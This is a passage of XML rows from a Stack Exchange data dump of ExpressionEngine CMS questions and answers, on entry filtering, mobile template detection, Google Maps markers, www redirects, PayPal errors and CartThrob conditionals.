  <row Id="9846" PostTypeId="1" CreationDate="2013-04-29T10:40:20.603" Score="0" ViewCount="429" Body="&lt;p&gt;I'm looking to create a filtering system for entries. I need to be able to filter by multiple criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've started to use the dynamic parameters feature, using the 'search' parameter to filter using custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is this:&lt;/strong&gt; How can I show what current search terms are being used? As the URL doesn't change it doesn't appear we can use that, but I need to be able to show what filters are currently being applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on this will be gratefully received, or any alternative methods or add-ons that will make this kind of filtering of entries easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2013-05-29T12:30:34.717" Title="How to show current search when filtering using dynamic parameters" Tags="|search|dynamic|filter|parameters|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9847" PostTypeId="2" ParentId="9823" CreationDate="2013-04-29T10:48:34.117" Score="1" Body="&lt;p&gt;i wouldn't wrap safecracker inside a channel:entries tag. Fields like title, url_title etc. might collide. You can use an embed with safecracker (pass thru data) or use stash to capture info from the other channel first, and stash:get inside safecracker to show/hide information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are multiple categories assigned, you might also want to limit the output of the {categories} tag with show=&quot;&quot; and limit=&quot;&quot; parameters:&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#categories-tag-pair-parameters&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#categories-tag-pair-parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-04-29T10:48:34.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9848" PostTypeId="2" ParentId="9846" CreationDate="2013-04-29T11:56:08.180" Score="1" Body="&lt;p&gt;I do this using great addon from Rob Sanchez &lt;a href=&quot;http://devot-ee.com/add-ons/dynamo&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/dynamo&lt;/a&gt; (going to use default EE search, but dynamic parameters are not passed when using pagination).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;not sure if you are ok with submitting the form with your inputs, but you can show (even select) your filter criteria..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let us know&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2013-04-29T11:56:08.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9849" PostTypeId="2" ParentId="9652" CreationDate="2013-04-29T12:23:14.257" Score="1" Body="&lt;p&gt;Not specifically answering the question, this is how I sometimes approach mobile development...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the site would just be regular templates with responsive design.&lt;br&gt;&#xA;For pages where a completely different mobile experience would be beneficial, ie. the checkout process, I would detect for mobile then serve a separate template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;default_site/&#xA;| checkout.group/&#xA;| | index.html&#xA;| | _regular.html&#xA;| | _mobile.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So index.html would look &lt;em&gt;something&lt;/em&gt; like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if not_mobile}&#xA;  {embed=&quot;checkout/_regular&quot;}&#xA;{/if}&#xA;{if mobile}&#xA;  {embed=&quot;checkout/_mobile&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The conditionals come from either &lt;a href=&quot;http://devot-ee.com/add-ons/mx-mobile-device-detect&quot; rel=&quot;nofollow&quot;&gt;MX Mobile Device Detect&lt;/a&gt; or by making the mobile variables available in my config bootstrap. (I use &lt;a href=&quot;http://focuslabllc.github.io/ee-master-config/&quot; rel=&quot;nofollow&quot;&gt;Focus Lab's Master Config Bootstrap&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$useragent = $_SERVER['HTTP_USER_AGENT'];&#xA;if (preg_match('/android.+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i',$useragent)||preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|e\-|e\/|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|xda(\-|2|g)|yas\-|your|zeto|zte\-/i',substr($useragent,0,4))) {&#xA;  $env_config['mobile'] = true;&#xA;} else {&#xA;  $env_config['mobile'] = false;&#xA;}&#xA;&#xA;$master_global = array(&#xA;  'mobile' =&amp;gt; $env_config['mobile'],&#xA;  'not_mobile' =&amp;gt; $env_config['mobile'] ? false : true&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-04-29T12:23:14.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9850" PostTypeId="2" ParentId="9822" CreationDate="2013-04-29T15:16:57.237" Score="0" Body="&lt;p&gt;The tricky part here is organizing Events by Event Categories. I can think of two ways to do it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Loop through all possible Event Categories, and for each one, check to see if there are any events for the current category that were selected by the current page.&lt;/li&gt;&#xA;&lt;li&gt;Just loop through all the events, and use a little PHP on the template to index them by their Event Categories, and then output them in a separate loop.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Neither option is great, but I’m leaning toward the second one because it should be a bit more efficient.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;standard_pages&quot; ... }&#xA;&#xA;    {!-- Get all of the events grouped by their categories --}&#xA;    &amp;lt;?php&#xA;        $events_by_cat = array();&#xA;    ?&amp;gt;&#xA;    {exp:playa:children channel=&quot;events&quot; var_prefix=&quot;event&quot;}&#xA;        &amp;lt;?php&#xA;            $cat_ids = array({event:exp:playa:child_ids channel=&quot;event_categories&quot; delimiter=&quot;, &quot;});&#xA;            $event = &amp;lt;&amp;lt;&amp;lt;EOD&#xA;                &amp;lt;h4&amp;gt;{event:title}&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;p&amp;gt;{event:event_description}&amp;lt;/p&amp;gt;&#xA;                ...&#xA;EOD;&#xA;            foreach ($cat_ids as $cat_id)&#xA;            {&#xA;                $events_by_cat[$cat_id][] = $event;&#xA;            }&#xA;        ?&amp;gt;&#xA;    {/exp:playa:children}&#xA;&#xA;    {!-- Loop through all categories, fetch their titles and list their events --}&#xA;    &amp;lt;?php foreach ($events_by_cat as $cat_id =&amp;gt; $events): ?&amp;gt;&#xA;&#xA;        &amp;lt;?php $cat = get_instance()-&amp;gt;db-&amp;gt;select('title')-&amp;gt;where('entry_id', $cat_id)-&amp;gt;get('channel_titles')-&amp;gt;result(); ?&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;?php echo $cat[0]-&amp;gt;title ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;        &amp;lt;?php foreach ($events as $event): ?&amp;gt;&#xA;            &amp;lt;?php echo $event ?&amp;gt;&#xA;        &amp;lt;?php endforeach ?&amp;gt;&#xA;&#xA;    &amp;lt;?php endforeach ?&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-04-29T15:16:57.237" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9851" PostTypeId="1" AcceptedAnswerId="9859" CreationDate="2013-04-29T16:19:55.513" Score="2" ViewCount="188" Body="&lt;p&gt;I have a problem with displaying all markers on a map.  My channel has 129 entries for dealers that need to be shown on a map.  For some reason only 95 are displayed via a marker on the map. &#xA;The template setup is relatively easy&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;dealers&quot; dynamic=&quot;no&quot; disable=&quot;categories|member_data|pagination&quot; limit=&quot;999&quot;}&#xA;&#xA;// all sorts of data about the dealer like name, phone, etc in a list&#xA;&#xA;// the markers&#xA;{exp:gmap:marker &#xA;        id=&quot;map&quot; &#xA;        infobox=&quot;true&quot; &#xA;        extend_bounds=&quot;false&quot;&#xA;        icon=&quot;/themes/third_party/gmap/icons/pin-location.png&quot; &#xA;        latitude=&quot;{dealers_latitude}&quot; &#xA;        longitude=&quot;{dealers_longitude}&quot; &#xA;        zoom=&quot;8&quot; &#xA;        clustering=&quot;true&quot; &#xA;        show_one_window=&quot;true&quot; &#xA;        limit=&quot;1&quot;&#xA;        style=&quot;width: '350px'&quot;&#xA;        offsetY=&quot;-45&quot; // Offset the X position of the window&#xA;        offsetX=&quot;15&quot; // Offset the Y position of the window&#xA;        closeBoxMargin=&quot;5px&quot; // Sets the box margin (could also be done in stylesheet)&#xA;        class=&quot;ui-infobox-dark&quot; // Uses the dark theme made available by Google Maps for ExpressionEngine v3&#xA;        closeBoxURL=&quot;/themes/third_party/gmap/css/images/white-close-button.png&quot; //Uses an alternative close button&#xA;        open_windows=&quot;false&quot;&#xA;        //geocode=&quot;true&quot;&#xA;        }&#xA;&#xA;&#xA;{/exp:gmap:marker}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It appears that -as expected- the javascript is not generated for the entries that not shown.  It is not random, so the problem is consistent.  But I really cannot see why those entries would be different than any others..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m running EE 2.5.5 and Google Maps 3.2.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rg,&#xA;Tim&lt;/p&gt;&#xA;" OwnerUserId="510" LastActivityDate="2013-04-29T19:05:14.840" Title="Not all entries are shown via markers on Google Maps for EE" Tags="|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9852" PostTypeId="2" ParentId="9791" CreationDate="2013-04-29T16:30:02.323" Score="1" Body="&lt;p&gt;The method above works, but to avoid annoyances with multiple validation rules, I came up with this work around. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I'm using inline errors and I am displaying the error just below the field where it occured, I've manually edited the languages file like in /system/expressionengine/language/dutch and I took out all the '%s' for the error messages where I don't need it.  By doing this the name of the field is not shown in the errormessages&lt;/p&gt;&#xA;" OwnerUserId="510" LastActivityDate="2013-04-29T16:30:02.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9853" PostTypeId="1" AcceptedAnswerId="9864" CreationDate="2013-04-29T16:49:45.657" Score="0" ViewCount="68" Body="&lt;p&gt;We're using EE and I'm also using the Focus Lab Multi Environment Config file on one of our sites and for some reason our site won't work with WWW at the start of the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have confirmed with the hosting provider that everything is correct from their end, but am confused as to where to move from here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something in the config file that should be modified to make this work again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very new to the Focus Lab Config file.&lt;/p&gt;&#xA;" OwnerUserId="311" LastActivityDate="2013-04-29T22:31:15.697" Title="Site doesn't work with WWW at the start of the address" Tags="|ee2|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9854" PostTypeId="2" ParentId="9824" CreationDate="2013-04-29T17:38:50.883" Score="1" Body="&lt;p&gt;I would suggest you to have easy approach by using &quot;jQuery Form Plugin&quot; (&lt;a href=&quot;http://malsup.com/jquery/form/&quot; rel=&quot;nofollow&quot;&gt;http://malsup.com/jquery/form/&lt;/a&gt;). To get some better ideas see the examples. For the Ajax submit you can use the code like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() { &#xA;var options = {&#xA;beforeSubmit : function(){},&#xA;success : function(data, status, oo){&#xA;window.open ('[URL]', '[Window Title]');&#xA;}&#xA;}; &#xA;$('#FORM_ID').ajaxForm(options);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See within the success function, window.open will open the given URL in new window. For more about window.open take a reference from &lt;a href=&quot;http://www.javascript-coder.com/window-popup/javascript-window-open.phtml&quot; rel=&quot;nofollow&quot;&gt;http://www.javascript-coder.com/window-popup/javascript-window-open.phtml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-29T17:38:50.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9855" PostTypeId="1" AcceptedAnswerId="9874" CreationDate="2013-04-29T18:07:58.983" Score="0" ViewCount="84" Body="&lt;p&gt;I'm trying to build a seat reservation system for a small cultural venue. I will be using a matrix field mimicing all the seats (rows for seat rows, colums for seat numbers). If someone makes a reservation for 3 seats, I would like to go through the Matrix field (in the template, not in de CP) and find 3 consecutive empty fields.&#xA;Would this be possible purely with EE code? Or should I dive into php, and if so, what would be the best solutions for this?&lt;/p&gt;&#xA;" OwnerUserId="513" LastActivityDate="2013-04-30T07:56:46.737" Title="Find consecutive empty cells in Matrix field" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9856" PostTypeId="2" ParentId="5095" CreationDate="2013-04-29T18:15:00.637" Score="1" Body="&lt;p&gt;For future folks looking for the same thing. &lt;a href=&quot;https://devot-ee.com/add-ons/string-divide&quot; rel=&quot;nofollow&quot;&gt;String Divide&lt;/a&gt; does this exact thing easily and it's free.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-04-29T18:15:00.637" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9857" PostTypeId="1" CreationDate="2013-04-29T18:39:10.230" Score="1" ViewCount="84" Body="&lt;p&gt;When viewing a single entry in the category I am using pagination to view the second entry&#xA;&lt;a href=&quot;http://domain.ca/index.php/showroom/category/CATEGORY_NAME&quot; rel=&quot;nofollow&quot;&gt;http://domain.ca/index.php/showroom/category/CATEGORY_NAME&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next goes to &#xA;&lt;a href=&quot;http://domain.ca/index.php/showroom/category/CATEGORY_NAME/P1&quot; rel=&quot;nofollow&quot;&gt;http://domain.ca/index.php/showroom/category/CATEGORY_NAME/P1&lt;/a&gt; and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But If I view the same page with an entry url:&#xA;&lt;a href=&quot;http://domain.ca/index.php/showroom/url_title&quot; rel=&quot;nofollow&quot;&gt;http://domain.ca/index.php/showroom/url_title&lt;/a&gt;&#xA;My pagination switches to: {pagination_marker}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have pagination=&quot;inline&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get pagination to work both on a /P1 page as well as a url_title page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to display a single entry at a time with a link to go to next / previous.  using a single template if I am viewing a category or a single url_title entry&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-05-30T20:32:03.513" Title="pagination_marker" Tags="|pagination|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9858" PostTypeId="2" ParentId="7090" CreationDate="2013-04-29T18:41:33.420" Score="-1" Body="&lt;p&gt;Any update on this issue? We started experiencing the same problem for any files &gt; 2M (using a macMini with MAMP Pro 2.1.1, any version of PHP, w/ or w/o cache). Apache returns the following error: [notice] child pid 31439 exit signal Segmentation fault (11)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same symptom, the progress bar appears briefly then disappears immediately…And the image is not uploaded&lt;/p&gt;&#xA;" OwnerUserId="1404" LastActivityDate="2013-04-29T18:41:33.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9859" PostTypeId="2" ParentId="9851" CreationDate="2013-04-29T19:05:14.840" Score="1" Body="&lt;p&gt;Got response from the developer.  Thought I post it here too for others to use it. &#xA;Setting &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;geocode=&quot;false&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;does the trick&lt;/p&gt;&#xA;" OwnerUserId="510" LastActivityDate="2013-04-29T19:05:14.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9860" PostTypeId="1" CreationDate="2013-04-29T19:44:15.767" Score="1" ViewCount="955" Body="&lt;p&gt;I'm getting the below error when trying to make a payment in store:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do not have permissions to make this API call&#xA;I've checked and the paypal express settings are all correct and it's pointing to the live server and not testing - do you know why this could be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Guy&lt;/p&gt;&#xA;" OwnerUserId="1308" LastActivityDate="2013-05-29T20:32:00.600" Title="Paypal error - You do not have permissions to make this API call" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9861" PostTypeId="2" ParentId="9860" CreationDate="2013-04-29T20:20:20.580" Score="1" Body="&lt;p&gt;Is your PayPal email address confirmed? See &lt;a href=&quot;http://help.yahoo.com/l/us/yahoo/smallbusiness/store/order/paypal/paypal-53.html&quot; rel=&quot;nofollow&quot;&gt;this article at Yahoo!&lt;/a&gt;, also make sure you've switched everything from Sandbox to your actual account. This is more a PayPal error than anything to do with ExpressionEngine, but those are starting points.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-04-29T20:20:20.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9862" PostTypeId="1" AcceptedAnswerId="9873" CreationDate="2013-04-29T20:24:20.833" Score="0" ViewCount="37" Body="&lt;p&gt;Using EE 2.5.5, I wish to output a segment_x (segment_2, which aligns with our department names) so that I may class by department; i.e., &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;article class=&quot;main {segment_2}&quot;&amp;gt;&#xA;    &amp;lt;more html goes here&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would become&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;article class=&quot;main lead-pipes&quot;&amp;gt;&#xA;    &amp;lt;more html goes here&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I can not add {segment_2} to HTML portions of the &#xA;template, nothing outputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do so?&lt;/p&gt;&#xA;" OwnerUserId="1040" LastActivityDate="2013-04-30T07:46:36.593" Title="Output segment_x via template HTML" Tags="|templates|segments|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9863" PostTypeId="1" CreationDate="2013-04-29T20:25:19.187" Score="0" ViewCount="121" Body="&lt;p&gt;I have a scrolling ajax section on the home page that takes ~40 msec to load when I am not logged in, and 110-130msec when I am logged in.&#xA;I have disabled all user tracking, and played with cookies vs sessions for authentication with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this? It is not what I would expect and I was wondering if there was anything else I could easily tweak?  I am doing performance optimizations currently, and this is just a variable that keep annoying me.  I understand for the most part that this has no effect for the typical users experience, it is just irksome to me as I am digging into which templates and configuration settings give me performance increases. (APC + CE_Cache have been by far the biggest btw)&#xA;Disabling user tracking removed multiple db writes per page load, as did template hit tracking.  Writes to the DB for every page view across multiple web servers was another bug speed increase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My gut is telling me that user tracking being disabled is still doing the same amount of work, but is 100% correlation between being logged in on another browser tab or not.&lt;/p&gt;&#xA;" OwnerUserId="1270" LastActivityDate="2013-04-29T20:25:19.187" Title="When I am logged in to expression engine, load times are much slower" Tags="|control-panel|config|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9864" PostTypeId="2" ParentId="9853" CreationDate="2013-04-29T20:25:44.343" Score="3" Body="&lt;p&gt;In your Focus Lab Config &lt;code&gt;config.env.php&lt;/code&gt; file, you might need to make sure that both www and non www are specified in the &lt;code&gt;switch&lt;/code&gt; statement.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch ($_SERVER['HTTP_HOST']) {&#xA;  case 'website.com' :&#xA;  case 'www.website.com' :&#xA;    define('ENV', 'prod');&#xA;    define('ENV_FULL', 'Production');&#xA;    define('ENV_DEBUG', FALSE);&#xA;  break;&#xA;&#xA;  ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But saying that, you should really only be using one or the other. Being able to access the site using www and non-www will lead to duplicate content on Google. Not good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your htaccess needs to have something like this to force the removal of www.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteEngine On &#xA;  RewriteBase /  &#xA;  RewriteCond %{HTTP_HOST} ^www\.website\.com$ [NC]&#xA;  RewriteRule ^(.*)$ http://website.com/$1 [R=301,L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are many different ways to do it and you can find plenty of resources on how to do it.&lt;br&gt;&#xA; &lt;a href=&quot;https://stackoverflow.com/questions/4916222/htaccess-how-to-force-www-in-a-generic-way&quot;&gt;Here's one on how to force www&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-04-29T22:31:15.697" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9865" PostTypeId="1" AcceptedAnswerId="9870" CreationDate="2013-04-29T20:34:16.610" Score="0" ViewCount="136" Body="&lt;p&gt;I'm using CartThrob for e-commerce. I need to display a block of content only if the package displayed contains a product with a certain entry_id. I was assuming I could just wrap the block of content in a conditional that checks the included products for an entry_id? The channel entry_id of the product I need to check for is 23.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, I could also use a tip on how to enable shipping only for packages that contain this product with this entry_id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my main template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;rides&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; url_title=&quot;{segment_3}&quot;}&#xA;            &amp;lt;main role=&quot;main&quot; class=&quot;inner-page view&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;read-more&quot;&amp;gt;&amp;lt;a href=&quot;/pro-rides&quot; class=&quot;blue&quot;&amp;gt;&amp;amp;laquo; Back to Pro Rides&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;article&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;img src=&quot;{ride_img}&quot; alt=&quot;{title}, ${ride_price}&quot; /&amp;gt;&#xA;            &amp;lt;p class=&quot;lead&quot;&amp;gt;Price: ${ride_price}&amp;lt;/p&amp;gt;&#xA;            {if ride_body}&#xA;            &amp;lt;p&amp;gt;{ride_body}&amp;lt;/p&amp;gt;&#xA;            {if:else}&#xA;            &amp;lt;p&amp;gt;{ride_excerpt}&amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/article&amp;gt;&#xA;        &amp;lt;section&amp;gt;&#xA;            {embed=&quot;views/.packages&quot;}&#xA;        &amp;lt;/section&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the embedded packages template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;store_packages&quot; dynamic=&quot;no&quot;}&#xA;{if related_ride == &quot;{segment_3}&quot;}&#xA;    &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;{title}, {entry_id}: {packages_price} &amp;lt;/li&amp;gt;&#xA;            {!-- check for product entry_id inclusion --}&#xA;            &amp;lt;li&amp;gt;&amp;lt;!-- content displayed conditionally --&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {!-- end conditional --}&#xA;            &amp;lt;li&amp;gt;&amp;lt;p class=&quot;read-more&quot;&amp;gt;&amp;lt;a href=&quot;{entry_id_path=checkout/cart}&quot; class=&quot;blue&quot;&amp;gt;Purchase Ride now &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="525" LastActivityDate="2013-04-29T23:36:37.793" Title="CartThrob: display content if certain product is in package" Tags="|cartthrob|conditionals|ecommerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9866" PostTypeId="1" CreationDate="2013-04-29T22:31:22.493" Score="1" ViewCount="132" Body="&lt;p&gt;Has anyone saved JSON in a custom member field? I have a big array I'd like to tie to member registration. I'm using the User module to register. Thoughts?&lt;/p&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-07-25T03:00:47.593" Title="Saving JSON to member field?" Tags="|add-on|solspace-user|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9867" PostTypeId="1" AcceptedAnswerId="9953" CreationDate="2013-04-29T23:09:18.460" Score="0" ViewCount="247" Body="&lt;p&gt;Our Wygwam editor suddenly stopped working today at a particular time. It had been used all day up to that point without any problems. Our hosting company says no changes were made to server permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I load the control panel editor page the web page loading is cancelled due to this file...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://mysite.com/ee_admin.php?D=cp&amp;amp;C=content_files_modal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When wygwam has problems it seems to be usually related to an incorrect file path or something similar. I've tried upgrading Wygwam to version 2.7 and reinstalling the DevDemon Channel Images wygwam plugin. When I set a field to NOT defer loading of Wygwam we just get a blank grey area on the Editor page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is happening in all web browsers that we've tried.&lt;/p&gt;&#xA;" OwnerUserId="505" LastActivityDate="2013-05-01T17:14:37.230" Title="Wygwam editor field suddenly stops working" Tags="|wygwam|channel-images|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 